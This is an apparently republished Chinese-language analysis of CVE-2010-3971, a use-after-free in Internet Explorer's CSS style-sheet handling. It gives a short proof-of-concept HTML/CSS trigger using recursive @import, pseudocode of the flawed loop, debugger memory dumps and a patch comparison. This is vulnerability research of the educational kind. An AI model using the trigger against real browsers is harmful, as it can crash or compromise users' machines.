CVE-2010-3971 CSS文件引用导致CImplPtAry释放后重用

浏览:
字体:
发布时间:2013-12-09 23:23:18
来源:
1.  POC
 
<html>   < body>     < div style="position: absolute; top: -999px;left: -999px;">    <link href="css.css" rel="stylesheet" type="text/css" />    </body></html> css.css*{ color:red;}@import url("css.css");@import url("css.css");@import url("css.css");@import url("css.css");

 
2.  创建
CSharedStyleSheet
    +x 0d0:  arraySize
     +x  0d4:   currentSize
    +x 0d8:  arrayStartAddress
 
CSharedStyleSheet包含一个数组,

+x0d0处表示当前数组的大小(以字节为单位)
    +x0d4 处表示数组的大小
    +x0d8 表示数组的起始地址
 
CSharedStyleSheet:: Notify的基本功能是:
    依次取出数组中的元素(CStyleSheet),如果元素 +0x18处的值为1,则调用该元素的Notify函数。
CSharedStyleSheet::Notify    elemCount = pSharedStyleSheet->arraysize/4    pArrayStartAddress = pSharedStyleSheet-> arrayStartAddress    while( elemCount!=0 )    {          if (*(pArrayStartAddress+0x18)==1)        {            (*pArrayStartAddress).Notify   # CStyleSheet::Notify        }                    --elemCount                   pArrayStartAddress = pArrayStartAddress + 4     }

 
 
下面,在bu CSharedStyleSheet::Notify设置断点,跟踪运行:

可以看到,ecx保存的是CSharedStyleSheet对象的指针 0874af08

dc ecx+0d0
0874afd8  00000014 00000006 074f4fe8 00000005  .........OO.....
可以看到,当前数组中有20(0x14)/4=5个元素,数组的大小为6,
数组的起始地址为074f4fe8。
 
下面设置读写断点,
Da r4 ecx+0d8
跟踪数组的变化
8 e 0874afe0 r 4 0001 (0001)  0:****
 
在调用CStyleSheet::Notify函数的过程中,由于css中有import指令,会导致新的CStyleSheet
的创建,这将增加CSharedStyleSheet的大小,当元素的数目大于当前数组的大小时,CSharedStyleSheet将会动态调整数组的大小,以满足要求。

这里调用HeapReAlloc重新分配数组的空间:
可以看到:
         数组的元素空间:eax 074f4fe8
dc 074f4fe8
074f4fe8  06d6af90 06b76f90 06da4f90 06db4f90  .....o...O...O..
074f4ff8  074eef90 09cd0f90 ???????? ????????  ..N.....????????
 
在HeapReAlloc运行之前:
dc 0874af08 +0d0
0874afd8  00000018 00000006 074f4fe8 00000008  .........OO.....
0874afe8  ffffffff ffffffff ffffffff 000003a8  ................
0874aff8  000003a8 00000003 ???????? ????????  ........????????
 
HeapReAlloc运行完成后,
dc 074f4fe8
074f4fe8  ???????? ???????? ???????? ????????  ????????????????
074f4ff8  ???????? ???????? ???????? ????????  ????????????????
         数组之前的空间已被释放。
         新的数组空间为0716afd8 。
         dc eax
0716afd8  06d6af90 06b76f90 06da4f90 06db4f90  .....o...O...O..
0716afe8  074eef90 09cd0f90 c0c0c0c0 c0c0c0c0  ..N.............
0716aff8  c0c0c0c0 d0d0d0d0 ???????? ????????  ........????????
 

将新的数组的起始地址赋值给CSharedStyleSheet对象中保存数组指针的变量。
 

运行该指令之后,可以看到:
CSharedStyleSheet中已经指向新的数组地址。
 
3.  释放
有2中的分析可知,在HeapReAlloc中重新分配数组空间时,原先的数组空间被释放。
 
4.  重用
当返回到CSharedStyleSheet::Notify函数中时:

会调整到loopbegin继续执行,
最终会调整到continue继续执行:
由于此时edi仍指向之前的数组空间,但该空间在HeapReAlloc时已经释放,导致释放后重用。

 
5.  补丁对比
5.1  补丁前:
        
 
5.2  补丁后:

 
补丁后,每次循环之前,都会去CSharedStyleSheet + 0xd8处获得数组的起始地址,这样,即使HeapReAlloc改变了数组的起时地址,补丁后的方式也可以获得新的数组起始地址。而不会错误
>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2024 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();